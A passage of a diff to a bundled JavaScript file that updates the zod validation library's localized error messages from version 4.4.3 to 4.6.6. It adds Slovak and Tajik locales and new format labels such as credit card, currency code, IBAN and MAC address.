Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -55573,6 +57730,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -55649,11 +57809,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -55669,7 +57829,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -55702,6 +57862,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -55728,12 +57896,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -55806,17 +57978,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55842,12 +58132,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -55916,17 +58210,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55950,14 +58245,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -56027,17 +58326,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56063,12 +58363,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -56138,17 +58442,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56174,12 +58596,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -56249,17 +58675,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: 